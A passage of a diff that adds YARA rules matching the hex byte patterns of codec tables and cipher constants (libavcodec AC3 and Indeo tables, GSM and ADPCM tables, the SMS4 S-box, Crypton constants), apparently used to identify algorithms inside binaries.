b3e2bfbb1bee9209b1d6feb84bead30ae1d8f38b49d4de39e3ee7cbeebe2510c41d0718de9dc5c3f43e4308eb9d81d3c13ea3dbdbbe6100f11d2e19b624ecc29c87ceca86070c11aca48adab307480199a46a098324a8d2a98702fad907c021f3a4e229e92420f2c387a639dc2464e2f68746eaec078431c6a477df6862b50442c1970c584155d772e2d31c6d4111c747e233cf5d62f11477c15b3c074199e72de2bbef376279341dc1ffff02623d2428c11f2c3241ddf718e29d940aa85f4f200b7d473a8bbf9c102839570f8bfb8c2528d9843fa81b5f150bb177658b73ac4f2851a455a8937f7f0b15b460a8d76f4a0bf567508b37bc7a28c452d4ee0689fe4d2481e4cde65ace6e6091d1cda24afb6e8042e1ee4299cb4de8b1bbcd2a6a916e08628beecab9a14d4c72beee8ea9944daca18ecd6e7aa46e2c67aa59eebc80faccb49a7a0e6fb0d988a4af7a4a7f85d968779f59aaacb5fa0084c57ac25fefd9e057f559228cdffaa447c059669ceafa4494f07a864fdad975a1741fb77a5ebc9572443c57a96e9fd162713c13b95b9f31b1411ff36a6bbc59421b3c9b99319fb9912b1f7b4a01bcfd811e1f3f5a34bc1d522e3cdf89049f9fea16d55d313c767f3926f6bde20c553b2913f6f9f23955dbfa23d519210976b30979f671d2535553da49d59101637617ca7cd5d5115676f7194cf635c26655c62cc89304f7e23026fff8b0e424d21362efcdb0a034e713823cfd9340e7d730eacfa7b028148d130a1c9793c8c7bd304e0ca2938cd78830aedf92b06c04b8132ae58edee83ea47dca36befd08ed945e8e268bfd4cfda15e6ef5bbdeac2e917d0606e1fdc4ddcb5ee6d5d1de240efb7da2c5e4de601ece7d4216d4fd80cdfe5e73235098b1f87a3b93f060bb512b4a18d7e055bb153b7f1837336598f5e84f3b5fc03fbb9d1b1518bf130f987dc8253bfb033a9839d8103b1bd00abbd90b2018996832525bb318f179bb0271bb6028d23dab3771ff701dd2dd7807521fa32df1b58b5d71775077d255586d52978347f111485852d39372f1f19b6871334042d2c0aeec140275c6b7207ddc37e2a6f694646de937a6b6c39484bed9144665f3b7ec4d83372e96a9940c9eb314ce4599b7488e86148a55acb7a85db6376a869c94289b92a3ea40b800c848a2800a9388238c5897804e83bd236c8ba7a3ae508d000478fd80c6a3d723e4abcda32670e700a0bbf8a36260d2004068c88082b3e223715d4ce5b3866646918e7cc653555665d59e49c617456365354d79e5f79653465dbe23c69f650965bd6d13e57fb63946f97d26e53ba60c4619ae16c6db753c659b162e2f59cd048c7bc51e0cb91e34af3fd52b0cfd0e01afdf061b2f1ddd318cb7f5410c752e6baf5726712f95fd5b8c1336442fd1ed6e8cf3e5740c313e5eafc2d0f069000bdaca2203c04ae0d8eae96613f54aa4c8dfe986c0c569441befcaee339f4a2ce8b5e90ee0af69cc3b85ca4af09a69882bb0caaa23aa4a68f880e934112438f6ca0e9bd4c2141b16193eb890d2211b52090bb870011138b2da3b9b18f24b1bda2961b8f8217b383afa519bbc314e387eea649b5ce27e1b9e3954b86dd7fa7eaf0cd0dd8d04ca5d4fdfe0fec914ff5d0bcfd5fe29c7cf7eeb1ce5dd4134955d83efbffea1e7a57e633c8fdde5f7907e272cbadd0524a05dc7ff8afe879c98b44547b217674fa897a5948234235f9d97e184b734c38cadb401578717ab7ff79769a4dd344bacc7b48977ed170fbcf2b4cd67d817ef6fc2972db4e834de5a46f21c816c513e8976d1fc525c727a9943d1b84269729a4a73f258915951f2b929d130620372126a19f2d0b13351567a2cf294a10651b6a91cd174723672366f3845f4b412e6d6bc0866146722c592ac3d66507717c5727f0d45b0a427e61a8c5766d8577dc5fa5f674538844de6be4f52457c9478e65e9c62669c4748c56fa9e603ad72cca08f7ad6204da1fc83cb6ae32009b1c9832bb9d303e962f9a0434a89208191a383a399b903614293a0e7898c032552a6a0075abc20c581968385e284c94739ae6a6531b4eaa7ea9e49212181eae3faab49c1f2b1c903299b6aa901ebea6bdac14949d2dbc98b09f16a0dc2eec9cf19c46aed11deea2fcaf449dc245a8f1eff702c3cf76aacfe2c400f78e75facba3c750f98346f8f5aef452cf0c735ac321c1f0f1014058fd2cf2f2c5404308f96df1a2cb4d700ac760c2a0f30ed1cc2f2363661d03e2ce112e50642942e19e156f5334274fd29c2b62603611c0e73e1ded55942fcdd43c23e066961b8cd76c27a165c61581e46e19ac56c42692bc284abf0e82789f8f2a74b23d804cde8c7a70f33ed042d3bf784efe0dd2745c8ada787138704a51b9d8467c0b727e10ba88423d0822701d898a7c303b2048360a04e41bb8aed63b3906da168bace27a3a56de5788fcec770954e05abbfedaf83cf6d6d58e5ce4f50ff4e8d8bd5ed0b40ca4ec99be0edeb93fa6d2948d0cedaa67e08187d54ab3a754e2bf8ae64887e657b2bbcbe51889eb64b085c6d61abf645112b349e3b8816962108d44d0bab52861408905d3eabb255242b708e0e88329300bff0482a1cd240309c109b1a3f9650059c548b2f3f768335bfb4581f1c1e706f9cdcab453ffea35fbf3c78751cbab36abf7868401c5a605a9c98bb703f6b55def9a98ef45a8b86eeda495dc479cf96dbda0d4df1792f45ebf9ed9ec15a47b6b1da856d9b79a76581f965beab5ae375b4f921ae9e5a03a684dac17dae79811ebc3343c5969061cd8c10a316a6b325ddb910e70693b3c50e893307d5a390adfdd3106f26f9b34d2ee3338ff5c990093ed633cbe5fc90e9ede6102b36ccb3d8d862751a0348d6380b5256fad078f57c1b6756bec04df59cc857755e137dd6f43b0d5636e027f514e83d75d63317d650f80875922322d6b02b385672f012f53de955ccff327f6fdd3a65ef1fe14f4c992a50ef5bf17a4c79f960ccbb224a6f110a3aefd3d1104cf1d90acc3302206fb5c93fcc7712156f551a0fef97c1254c642f8b8aa6f4a12984fcbba94627910ac0ec8ea90237a40a203fbe8ae2e4942948cce4a98a17ce0aa81fd48a6ac4fe29ec0fe18a2ed4cb290cdcd1a9ce07fb0a8e64e9404cbfc3e36eb7d963ac6cf3c02aa7ec63e87cc6c0ca74dc4008aff6e3a2878663605cacc04254b640808f9ce306448340c49fa9e3e697b363244c99c0d7a2370615791da537710725f5aa2d8673613225b1ba188693b20206516928a5fb415825399a72861b926806d94942a55f825d069d5977a5bf516d257d8a47863f9749b1fd4c6312df4479921d9f53319b544c92598f66317b877cb1b95c561213742692d1af0c31f3a716b1317c3c12b7b723b1756c09125764139295bf3931665197f7a48abd548682a7d444598d77c29292d40049b8772241a2f7e09a88544ab2f8d48869d277aa61c8f768bae254ee71fdf72caad7540ea2cdd4cc79e7778c1af53d4ec1df9e6cc9c51eae12efbd28d9f01eea02dabdc80ac03d0ad1ea9ea0f99a1e6222b0bd402aaa3d82f1809e043a9f3dc6e1b59ee4e9af1e263285bdd5dc2b7b170701d8350f1b58f7d431fb711f2e58b3c404fb91cc1e7b531734d8f93f44583be46efb19ec747bdb375ed85dfc417b9f276bd8bd2f71587ff45bfb39156d36fbce4795d9c65d151b1d77b69dd668155f0d42b67d055836bfde729515f60215d72d28b6f525323637fe1895b135073673ee2d9551e63715933d1db660d3b370a20899d38000835342dba9f0c410b65306cb9cf024c38670e618acd34c30dc538eebf6f0ace3ec706e38c6d3e8f3d9702a28f3d30820e953cafbc3f08a98d1ba4843fb196a4be199a890cb3a2e5bd499ec80fe3ace88e4ba0c53ce19a67bbe9964a0943a46a88eba8473a41902b8bbbac0639119e26b8b9920b0a13ad35e0ffc1185255f338d3fdff156157c779d0adfb546207c974e3afc5595105fffbd60df3d664a7c1f6e50fcddb57a5f5b7e65fc99a54f5fbbad55df79767f7c3b6b714bf9b05be8dbb8416819636bcb9fa874685d735ecb7f7b444bbda06ee817881e68d55334cbf75b2e4b358004e8b34b1b4b719031e853982b68914301cb62adaf0da07685ae827e9f2e40a5b58dc66eaa2e04b5808d26bd9a0de466b0ae4e4ec02e8c95ea8dae9df00d6c46daaeea8dc50d2856efae0a5ef52ec885df8d88e6cdc74a3de7646835fde4aaeed7472c25c8e4eefee247ccf6f8c70e2dd264a405a2e466de884744d692c7860db86400c6a7c7c21d8d64e01597e422cebd47d120138113fb392231f323a2f328090175e316a2b7383c019530268157eb0c22fdc37ca23f1856011d104c81dfcb6622590079819bdb5322b9d349a2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap6__16_lil_3072_
+{
+strings:
+	$a0 = { AA27C51CDD41F94893A6CCF1C5F534F167EAB8EBCFDCB6B031EAF0A63153641BE902D002AC014DFA6D00F6F369012DDFE11F8157F100DB0696FCF8F4740463310209F756C69D6BBBCFF5330D6128EEB294C378A238F004CE549B2833410F2305101209A32835E56269FB7D089FFFB335FEEBD75A76107FA9DE1ABEFE5847AAFC74D123FD804383CE23DA0B5C90C0E3FAAA1698EC464C36ADD29F49FFDB16F7C07D3BE8DAFEF979011037E1616B346220185BB241A3E3760005C2994A3526EBFE40EF555418CC7DC0F94002ED2D13EFB4735B71392EFD7D00064C84ED78F8F9D2225131155694BFF415EF8001C9F75705F6FE29DC4115DD667CF87D1066F436B1C8AA4A15FEE2E01423FFD8E55B024CDC1C058E94952544DF51F8BB248DF921598E1D7EEBBBEF690522FC300212FBA2608FB5F529A11D46E4C301A24E23D981E874F74EFAE956A4248823CF2AC3F674F1EC4876FD2EFB542BFE1D5117074B33FACCFB25FD54FD2B0093EC7634AB4E3C00DC0159FCC3B10622C309F8037AFB4F01D398A64867F763FD510D19038AEDAB22E19F52DA3B0EE5FEF73364AC95F160FB4EF84C06AD003C009703CD041E1B67FDF93F5F42DD1441C900F75AB0F6628FD6AB2E1BE225E7EA36795D35CCC6E357FCEA0045FFA718ABF8DA30A9F83F49D3A46D022D191A0D2EA1D620C3141FF356ECA0ED28EC7E9BE31405FB11CC3BFCEAA4BE04936694E7332777B1C53B37C110145A25B9F0CAB38912FE56B5EF2A1F70B3C8368FE989AEEB22070039F0DF034FE8340021B49D0D990B341E6A1EE0623E1841FCF4CDD0F829A79C1C4E2AB2ED8E0644D8ABEBC61009FB310F16051A1D7E02964FC3F330CF5DDC1F48C9CFBAE37848D7E7C92109E581FCD542DC4058D9A36F1D0B68066D0BD6FE783A7C9A1E3A34A21707B6E6FB652E14E952013E7154E9394CAB36401850F6C736E4BEEFE76F5A00DCF915037AFCB5FF39FAA70923F01C0E40F7A22AA82153446743D0BB7E421BC00EAF5BB7BA6238450BF29F061BFCF11761E7F22BA1D3E5B2B6FF5FF0D0F94834A20070FFEFFD4C52F31E7CD3A601E6FFBE1B25CBA9B1450A4EFF53FEF123580522A93F0AEDAF396150FE131AF6FE13225000786D254CDCF3D3DB7607EFAAE114FF361FD33C31BF17A54D2305C32A6D264CB77E3DB8125D020FF9AE0E09F0C0548817C0FDEF0D06F2FB3F780A28F9CC0247EC89FA3AEE74FDC7BADAF2CDF1ECEE86E678A9D61CB205D22FF64A0E1679E1BFB06053ACE2F04DF65BE7D925163AF81DF74E3C9B2A29BA61190E35EAC1E2C294ED8317BA5EDDE7FFF738E548FB96034745BBFF77F18B233FC1BBA35D17D8F6B61E2ADDE15DA463E7D41BFDD4CE0C4C39395B3C16AD930436087B04E50A001083082E22DAB8A2BA82D7ADEBD6FB2BF2FDF40AB26FD190177B2086288ADCCCF7E74BEFFFDC024FFD50C7E8B449E427494E077A59480F9302FD635AF093256D03380AA75876E90046E40EFC4E010ADF6883EB64D5D008FBFD92ECC60021AAE8F19E5614B63C5345FBC84A3341CCF97E2C02F9770F60F25B1B3DE48D5124E8DDB9DEB6BB607C408B0CEE4F659E77B0841109EC22FE16E732F80BD8CFFDE9A9BDA8E70B5EB6A21D97396AB2CF1849EC7D0538DA1F0487AAA22B990D1DDA7E19F1BE1D59935576B75D4448390B05A213DC4C063F9EB2C4BDEDB9DBBDA816E0DF2C13E722E0088CFB4FA52406C10AC2F95F08EEF25AAA98D9DCFB5693BE04791C9600620002061702154462A57BFC5C534EB1E10C30F9F1DF2AACBAEFE7ED12BA66150505880019490B52F2609D2C0205F6ED31F2D41DF7FE5D08C3FC0DF890F3014DD70AFEFF420468008DE527B17A0BB3F7DCFFF4045825D6247225545603369818E9FDCEB1B410B4F840FEE1BCE0A0A437B1CAD0ADDF08232DAAF54D3C13EECE4835EF92FDA0B14910C34684FA9A35DFF819C07823E80205567D002A2AAC25F1C6D1B786C6A62BEEAEBAFE2EA30018E51E5A02040606E6EA1975CE9453315149E59C10CDADFC15FF48345D88204246481683EB53B9D5FD930CCB17983703ECD0BB04B47FD2AEAB262C4A3CF663791AC5976B53CCDFF5162CF2BF17F9F52B0A69F62D1502D064B5C61547F9E79890A37859A3FECB0E8D084DFBDC14B10CA7A7680080F9F4D4D7F40DAF0FA2BC4D59594FE3CFB7E8C630DF5BCDC10E760F2F200E50B1E44FFB60FFB3F9E7FC17DE3D020803C91036F1954FC21737EB20B839499F090231BBE1CAE179F7422B90ED67562107E1A0F00FDF0516B5DFF90D00C7FE77013E01C1FDF009B2006600280084C1EF969013F80CAE0287049B6406693E02D6E8B4F07F0544DC0FE2C5F440DF19B72067EBE288B924B8622234F782AAAB1EFD2D5D6BD1CD7EFA864CC0083B17EF2B6C3E9DE6D85EA954ADB72B26961956F54E01CBEF2806FED4590093A0B2E9281EC605A4533F9E3FDF090070F6EA272CCE31C18904DCACCBDDA3C77AA624C6450A1436ACE31B0B59DA420BDFC6B15F5EFD7EE69E01DBA4A1ACC601380858E7872AA74651FBAF0013FECEFD4DF57600CEFB5D00E5D815F05992A456E53A84FDE3EDE8BFD5DC3EB0A8D23CAECF12143EAE5EBECAFEF3DDFBBCE50212ACB64DC4D3BEB45DF53B5EFD9EF1AF547B11C8D09412210AEA147117D73A7A67F9A29DBC201B7A01B6029E02605B79DD87C6781D94FC502B380E080D415859F2E8F68FFF1C01021B190CBB27EE1943B7A80958172E2B60D1A5FD69FD2F3F39406C3335F03B12071D8A4BAE3C7BE6910607ED98428342140288B55FFAF6EB3D04B7CE37BB0E080C9D414A07C14827F8ADBECA7BF4073CDE4D78FDBBF93E27C8F9F033604DE2FBF8291A026A619E25A4DC8DD8E20B0C9E0CA2933664009319FB1A771B6C28DF5C22BAF7A640F88FFAFEF23324ED37F6C781F0E20B7E3F69BCAE256FAC4C5C8541CC02670A7200B8B522F426060BFFB705E7FC8A57915BD3C6EEFD9E433135C2D2FF1E7EC9A95BCC9FB667EBFB5F0E56F74C2907528AF167C3C5004E41E59F511305001D2AEF10A6689DDCE8C0E8F4CB3EDCA1A3F04FE565318BE430081C9C4EDF9E1A0B009A04B8D1B9FD47DDC1AF19D784FE49F6C96079AB73B47C0624FD09096F35F50FE55F736045ADC2F608FEDEEFB6D6745CA9079B4F9145DEDA950EF6B56CE7F0F0A2415FFCAAB0B5BA8D1A8F30BE17F8D38EC7011BB45BD41D89F9E959DF299CDF460391DE2DFB50B9390FDD3ED205FEF154203D3B31F163ADCD066FEEEB543E09EAFE48EDBD3CAEA574CAF41D683F385EB13AB5B1153240B1334179D22FC1C7CE0F4FA80D0BF6A7E5B6D15911841E2F51B842032D55DABE602E21FEA442F35D2B30E485D839E278A981B815684E25339CDD01C21EFEF9630458FFD6016A26A5FE895D73D705DB00F01ADA38E5D8AB6D51061CFA1414262BA35AFB0002FEF912FCC2D897CE224B02F986FC043B445CE2C226F64DFBD3FA12E3D3F5470409FF27FEB100991F04008830F4A8A528D0E1B456172A4DECB20216022CFFAFF376FA3DBEFA47CD3DAC5931164BF77C0CAAF2C7AA29C6130013030804AA0099DF7BFD8EFCF1F61F96B001D8EEDB05B6FAD5D1B4FF64B0CBD7402CD3006FEDBDEDEBE41ECB8F389B178C1435FE32FE8F00BFFFF4F5581C0BF3FC2370A5FAD8CE9EC4DABA49D5177D096EC77A20E5087037B80D1965F055D000FA4EE7FE369FC1FF61FB47046EE8920A51AAA1F533021700D6E8F300E3DCE1144E5096C39B3140104F2B8D5050D70352ABFFECDEC200EB03D5DA4BB3F9F2FFC8F60DABA465FDE4F7A10D88F359B41B0206FAB81C93C44458A94B1304F340B0F863FED30464EB22F28F55FB1E28F8484271E5D17255F6EBCAC520ACA3B5A99EC827C8C9D286B1B83EC8F8693D9411090F3BBFC14E5DAD621E582E6DE607FB6BB62ED4742D1404E009DDE503BA9ED3E2EC10FCD904A4100F09DF179D0DF14EC60B18F4C41445EE5F51FE2102F9A5C616018436AFD8CDD634A7EBE07EFBFD3534FA21FB6BE399FD2633EF49A926AC05F809DEF6600DEAED742B80B38BD4B7AF99D5E1D5E1AEB11AD80309C58F1625620115A9B20502D833DEE251F9845083E857ACC333C5AE8934814330333DC288C0355A3BF0FDDF670346021B3177AD52C61DDC3516DE1010F9A12C9DBA3FD941027D17BE41F7445A9BD0EE22F250CA63BF340EFEF29DADF2C1A51975D4C921C6CC315B03CB12F6AADC7AE23872750E81FE8CD6A3616507EEDFB851AEC09C145641A329E44D41ED84B4ECFDACDBD06C65130FFF180203FD1EAFACF2B649CD0A8C050DF4940AB2B5B5FED10D7400 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_p_from_kurt_func__flt64___64_big_328_
+{
+strings:
+	$a0 = { 3fd745aa2e3c536d3fdcfb3b7521144d3fe14204f2ae07e63fe3f850df15a4ad3fe6a50d6b228dca3fe94af0bf1a5ca33febebc621b7e0ac3fee88bb906466b23ff0915379fa97e13ff1dd1a21ea35933ff327e52157689d3ff471de69ad42c43ff5bb2fec56d5d03ff703eea209aaa43ff84c2f837b4a233ff9940789613d323ffadb8bac710cb33ffc22bbecaab8a63ffd69ad42c3c9ef3ffeb05faebc408e3ffff6ddaceee0f440009e939eadd591400141a36e2eb1c44001e4a38327674d4002878e9f6a93f340032a6f3f52fc264003cd3ae685db7740046ffc115df655400512b2bfdb4cc24005b55ef1fddebe40065805e5f30e804006fa9d1f60179840079d2f1a9fbe7740083fb69984a0e44008e238da3c2118400984b5dcc63f14400a272da122fad7400ac9a027525461400b6c083126e979400c0e703afb7e91400cb0d306a2b170 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_MIC__16_big_16_
+{
+strings:
+	$a0 = { FFE0FFE0FFF0FFF0FFF8FFF8FFFCFFFC }
+
+condition:
+	$a0
+}
+
+	
+rule MS_ADPCM_AdaptationTable__16_big_32_
+{
+strings:
+	$a0 = { 00e600e600e600e601330199020002660300026602000199013300e600e600e6 }
+
+condition:
+	$a0
+}
+
+	
+rule SMS4_sbox__8_byt_256_
+{
+strings:
+	$a0 = { d690e9fecce13db716b614c228fb2c052b679a762abe04c3aa441326498606999c4250f491ef987a33540b43edcfac62e4b31ca9c908e89580df94fa758f3fa64707a7fcf37317ba83593c19e6854fa8686b81b27164da8bf8eb0f4b70569d351e240e5e6358d1a225227c3b01217887d40046579fd327524c3602e7a0c4c89eeabf8ad240c738b5a3f7f2cef96115a1e0ae5da49b341a55ad933230f58cb1e31df6e22e8266ca60c02923ab0d534e6fd5db3745defd8e2f03ff6a726d6c5b518d1baf92bbddbc7f11d95c411f105ad80ac13188a5cd7bbd2d74d012b8e5b4b08969974a0c96777e65b9f109c56ec68418f07dec3adc4d2079ee5f3ed7cb3948 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_css_pp_perm_challenge__8_byt_30_
+{
+strings:
+	$a0 = { 010300070502090604080601090308050704000204000305070208060109 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1__32_big_AND_
+{
+strings:
+	$a0 = { acacacac[0-20]59595959[0-20]b2b2b2b2[0-20]65656565[0-20]01010101[0-20]3fcff3fc[0-20]fc3fcff3[0-20]f3fc3fcf[0-20]cff3fc3f }
+
+condition:
+	$a0
+}
+
+	
+rule Standard_huffman_HuffFreq_table__0_14473691___flt32___32_big_1024_
+{
+strings:
+	$a0 = { 3e1435ea3c3bed613adb930e3d1cec373b69b0073d1c1c893ae9a41e3b02d6b53af088133b13ecdc3b0a70313b4a64e93ae28f823af497413b0d81883add5e6a3adcfdc73b0f40a53b3a64c03ad41e253b007a8f3ac5f4ec3ae3f9e53b0f1c683c190be03b1086cb3b79d4983af314b53aff2a173ad44e763af4af6a3aeea4e43d83858b3bb038c23ba86f0a3b9fa1863ba1d96f3ba4deb23ba86f0a3b949c043b94d87f3b9f229b3b8a6a113bc270e93b961ebb3b613d1c3b60ac283bae312b3b54eb7f3b5a7d3a3b4a40ab3b40876f3b29af3b3b29eba13b7723b83b2f4d0a3b151ada3b88505c3b2307813b45a0893b10cf463b07a7293b3130643b17d7ce3b3374613b93c2953b7be8433ba563a73b10ffc23b770b903b18b13c3b4cd9373b3f29203b37a7cd3b256fbc3b16612b3b40e83d3b1e12d03b703f993b02faf23b28fa0a3b1405053b2ad1243af570b03b2eb0013b1f04683b0fd19a3afbc4063aeea4e43cb312463ace5bc33ad76bb73ad38d303af5d1533af41e753d08c0253af5100d3ae19dea3ac2a75a3ae8faab3abd8e6b3afc3cd23ade682b3b0942093b0942093b29c7643afef9c63aef05873ad087c23abe4fb13aa808723acf962b3ae0ac533b1f89483b628f823accf1603abef8cf3acdcacf3b1844853aca1c433ab875273b3d45c63ac8513d3ac63dbc3b23f9193b13136e3ad405fc3bea16ca3da7b3b93c037cd73a9c9c2d3aa246113d66b6d63b47fcae3a8a641d3a8a1ba23a82156e3a6d22023a8f7d0b3a973ac53b2b31f23a8a7c453aa307573a837fd23aa72eae3a6b3ed33ad4f7943a8428ef3a7ee1473a4ebcbc3a8c8fc63a5d45ec3b2e2b213a99361c3a3fa1ec3a466e0e3a7631f63a8c16fa3a6381193af345073bc759863aaf1cb93a466e0e3aa0023e3bb9c7a23a8de2563b2a28073a4a041b3ada58fc3a6cf1b03a64425f3a5e98d23aab9e7f3ad4df6b3a613d473a74af6a3a7601a43a65f53d3a8de2563a813c003a7b7b8c3b8c1d1a3ba2bef23a86b5913ad0d03d3a9b31ca3a96a9d03a898aae3aca4c953ab79bb83a97e3e23a912fe93ad32c373adda6e53a8d510c3abb19f23b375f523a613d473a9874d63a9c9c2d3aa8813e3abfa1ec3aaaace73a851adc3a7088693ad344603b1ae9253aacd8e73b0c53603a68fb013ab5a0603b0ae8fd3a7692993a66e7803a77e4d33a6c910d3a8b25633a686a0c3a9618863a7b4b3a3a8e8b743aa2bedc3b8becb33ad0e8653adf8a143a88e13b3a6f96253a7b1ae93ab087723a79985d3a8adce83a76c2ea3ab9f8093a85dc233a8593a83a573bbc3acfae543a8685403a6686313ab691f83a9648d73a7a59a33ad375083aa5dc733a9465a83aa215bf3a854b2e3a9405053b5063853a5fbabb3a84a1bb3af8d6c13a8a946e3af4dfbb3a738d813ad2e3bd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo_ir2_codes__16_lil_572_
+{
+strings:
+	$a0 = { 0000030001000300030003001000050012000500130005001600050017000500310006003200060033000600340006003500060036000600e0000800e1000800e4000800e5000800e6000800e7000800e9000800ea000800ec000800ed000800ef000800e0010900e2010900e3010900e5010900e6010900e8010900e9010900eb010900ec010900ee010900ef010900e0030a00e1030a00e2030a00e3030a00e4030a00e5030a00e6030a00e7030a00e8030a00e9030a00ea030a00eb030a00ec030a00ed030a00ee030a00ef030a00801f0d00811f0d00821f0d00831f0d00841f0d00851f0d00861f0d00871f0d00881f0d00891f0d008a1f0d008b1f0d008c1f0d008d1f0d008e1f0d008f1f0d00901f0d00911f0d00921f0d00931f0d00941f0d00951f0d00961f0d00971f0d00981f0d00991f0d009a1f0d009b1f0d009c1f0d009d1f0d009e1f0d009f1f0d00a01f0d00a11f0d00a21f0d00a31f0d00a41f0d00a51f0d00a61f0d00a71f0d00a81f0d00a91f0d00aa1f0d00ab1f0d00ac1f0d00ad1f0d00ae1f0d00af1f0d00b01f0d00b11f0d00b21f0d00b31f0d00b41f0d00b51f0d00b61f0d00b71f0d00b81f0d00b91f0d00ba1f0d00bb1f0d00bc1f0d00bd1f0d00be1f0d00bf1f0d00803f0e00813f0e00823f0e00833f0e00843f0e00853f0e00863f0e00873f0e00883f0e00893f0e008a3f0e00020003001100050014000500150005003000060037000600e2000800e3000800e8000800eb000800ee000800e1010900e4010900e7010900ea010900ed010900 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap6__16_big_3072_
+{
+strings:
+	$a0 = { 27AA1CC541DD48F9A693F1CCF5C5F134EA67EBB8DCCFB0B6EA31A6F053311B6402E902D001ACFA4D006DF3F60169DF2D1FE1578100F106DBFC96F4F804743163090256F79DC6BB6BF5CF0D332861B2EEC394A278F038CE049B5433280F4105231210A309352862E5FB69087DFF9F35B3EBFE5AD71076A97F1ADEFEBE4758FCAAD174FD234380CE83DA235C0BC090FAE316AAEC984C46AD369FD2FF4916DBC0F73B7DDAE8F9FE0179371061E1346B20625B1841B2E3A30076C2054A992635FEEBEF405455CC18C07D40F9ED02132DB4EF5B733971FD2E007D4C06ED84F878D2F9512215319456F4BFEF150180F7C90557FEF6DC29154166DDF87C107DF466B136AAC8154AE2FE14E0FF23E5D8025BDC4C051C948E2595DF44F85124BBF98D59211D8EEB7EEFBB0569FC220230FB1260A2B58F29F51DA1E44601C34EA2D923E881F774FA4E56E924A423882ACFF6C3F17448ECFD76FB2E2B541DFE17514B07FA33FBCCFD25FD54002BEC9334764EAB003C01DCFC59B1C3220609C303F8FB7A014F98D348A6F767FD630D510319ED8A22AB9FE1DA520E3BFEE533F7AC64F195FB60F84E064C00AD003C039704CD1B1EFD673FF9425F14DDC941F700B05A62F6D68F2EABE21BE72536EA5D79CC35E3C6FC5700EAFF4518A7F8AB30DAF8A9493FA4D3026D192D0D1AA12E20D614C3F31FEC56EDA0EC289B7E14E3FB05CC11FC3BA4EA04BE6693E7942733B1773BC5C1371410255AF0B9B3CA128956FEEFB51F2AB37036C8E98FAE8922EB0007F03903DFE84F0034B4210D9D0B991E341E6A62E0183EFC41CDF4F8D0A7291C9C2A4EEDB2068ED844EBAB10C6FB090F3105161D1A027E4F96F3C3CF30DC5D481FCFC9E3BA4878E7D721C9E509FC8142D540DCD9586FA30B1D06680B6DFED63A789A7C3A1EA2340717E6B665FB142E52E93E01547139E9AB4C40365018C7F6E436EFBE6FE7005AF9DC0315FC7AFFB5FA3909A7F0230E1CF7402AA221A844534367BBD0427EC01BAF0EB75B62BA4538F20B069FFC1B17F1E7612BF2D3A1B2E5FFB6F05FF9D0344800A2FF70FDEF524C1EF3D37C01A6FFE61BBECB25B1A90A45FF4EFE5323F10558A9220A3FAFED6139FE501A13FEF6221300506D784C25F3DCDBD30776AAEF14E136FFD31F313C17BF4DA505232AC3266DB74C3D7E12B8025DF90F0EAEF00954C01788FDC00DEFF2063FFB0A78F92802CCEC47FA89EE3AFD74BAC7F2DAF1CDEEECE686A9781CD605B22FD24AF6160EE179B0BF5360E2AC4DF05BF6D9E71625F83AF71D3C4E2A9BBA291961350EC1EAC2E2ED9417835EBAE7DDF7FFE538FB4803964547FFBBF177238BC13FA3BB175DF6D81EB6DD2A5DE163A4D4E7FD1BCED44C0C39393C5BAD1604930836047B0AE510000883222EB8DABAA2D782EBADFBD6F22BF4FDB20AD16F1790207B2886DC8AF7CC4BE7FFEF02DCFD4FC750B4E8E4494927074E597A0F48029363FDF05A2593036D0A3858A7E97646000EE44EFC0A0168DFEB83D56408D0FDFBEC9200C6AA21F1E8569EB614533CFB454AC84133F9CC2C7EF9020F77F2601B5BE43D518DE824B9DDB6DE60BB407C0C8B4FEE9E65B0771184EC09FE22E716F832D80BFDCFA9E9A8BD0BE7B65E1DA23997B26A18CFEC49057DDA38041FAA872BA20D99DA1D197EBEF1591D5593B776445D3948050B13A24CDC3F06B29EBDC4B9EDBDDB16A8DFE0132C22E708E0FB8CA54F06240AC1F9C2085FF2EEAA5AD998FBDC935604BE1C7900960062060202174415A562FC7B535CB14E0CE1F930DFF1AC2AEFBAEDE7BA121566050500884919520B60F22C9D0502EDF6F2311DD4FEF7085DFCC3F80DF3904D010AD7FFFE04420068E58DB1270B7AF7B3FFDC04F4255824D62572565436031898FDE9B1CE10B4F8B4FE40BCE1A0E037A4CAB1ADD008DF2D23F5AA3C4DEE1348CEEF35FD92B1A0104946C3FA84359AF8DFC019237802E85605007D2A2A25ACC6F1B7D1C6862BA6AEEEFEBAA32E18001EE5025A0604E60619EACE7553945131E549109CADCD15FC48FF5D34208846421648EB83B953FDD50C9317CB3798EC03BBD0B404D27FABAE2C263C4A63F61A7997C5536BDFCC16F5F22C17BFF5F90A2BF669152DD002B56415C6F94798E7A3905978FEA30ECB088DFB4D14DC0CB1A7A70068F980D4F4F4D7AF0DA20F4DBC5959E34FB7CFC6E8DF30CD5B0EC10F76202F500EE4B1FB4FFF60F9B3FCE7DE17023D030810C9F1364F9517C2EB37B8204939099F3102E1BBE1CAF7792B42ED9056670721A0E10FF005DFB516F9DF000DFEC70177013EFDC109F000B200660028C18496EF13900CF802AE0487649B6906023EE8D6F0B4057FDC44E20FF4C5DF40B7196720E2EBB988B8242262F734AA821EAB2DFD6B5DCDD1FA7E4C8608C0173B2BEF3E6CE69D5ED854A9B7AD262B1996F556014EEFCB0628D4FE0059A093E9B21E2805C653A49E3FDF3F0009F67027EACE2CC1310489ACDCDDCBC7A3A67AC6240A453614E3AC0B1BDA590B42C6DF5FB1FD5EE67E019EA4DBACA101C60838E7582A8746A7FB5100AFFE13FDCEF54D0076FBCE005DD8E5F015925956A43AE5FD84EDE3BFE8DCD5B03ED2A8AE3C12CF3E145EAECABEF3FEFBDDE5BC1202B6ACC44DBED35DB43BF5FD5EF19E54AF117BD0C812940A2114EA17713AD7677AA2F9BC9D1B20017A02B6029E5B60DD79C6871D78FC942B500E380D085841F259F6E8FF8F011C1B020C1927BB19EEB74309A817582B2ED160FDA5FD693F2F4039336CF035123B1D074B8A3CAEE67B0691ED07429842830214B588FA5FEBF6043DCEB7BB37080E9D0C4A41C1072748ADF8CABEF47B3C074DDEFD78F9BB273EF9C833F04D60FBE229F8021A616A259EDCA4D88D0BE29E0CA20C3693006419931AFB1B77286C5CD